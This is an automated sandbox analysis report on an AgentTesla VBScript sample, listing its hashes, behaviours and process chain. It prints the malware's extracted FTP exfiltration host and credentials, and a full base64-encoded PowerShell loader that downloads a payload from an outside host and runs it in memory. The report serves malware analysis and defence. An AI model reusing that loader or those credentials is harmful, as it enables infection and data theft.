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Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25/01/2025, 01:01
Static task
static1
Behavioral task
behavioral1
Sample
f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs
Resource
win7-20241010-en
General
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Target
f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs
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Size
210KB
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MD5
baa04801e19bf9c54632466ba0173b68
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SHA1
0c93e65e1842cde8b6eee58981a066413e2b6677
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SHA256
f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb
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SHA512
3c97d629e86117976a801a92bc807504854604a4494684b5117d40b7154bc2d602da9940404f01201ab711fa48344c3d79d84fe5741ee5537054aa21a07a33a7
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SSDEEP
3072:6knVmI3b0mgfmWu+He9VOv5iG5sVhQ30Wk+70wgA11:6knV4e9VOvp
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.siscop.com.co - Port:
21 - Username:
[email protected] - Password:
+5s48Ia2&-(t
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 2248 powershell.exe 9 2248 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 2248 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2248 set thread context of 5004 2248 powershell.exe 85 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2248 powershell.exe 2248 powershell.exe 5004 MSBuild.exe 5004 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2248 powershell.exe Token: SeDebugPrivilege 5004 MSBuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3588 wrote to memory of 2248 3588 WScript.exe 83 PID 3588 wrote to memory of 2248 3588 WScript.exe 83 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85 PID 2248 wrote to memory of 5004 2248 powershell.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4ANQA1ADUAZQBzAGEAYgBwAHAAcABwAHAAcABwAGMAYwBjAG8AbwBvAG8AbwBjAHMAaQBzAC8AOQAyADIALgA1ADkALgAzAC4AMgA5ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADYAOQA2ADEANwAxAC8AaABlAGsAZQAyAHAAbQB0AGUAdQB3ADgAcwBxAHMAcABsAGgAawBsAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgAFsAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBtAGEAaQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQALAAnAGYAYQBsAHMAZQAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82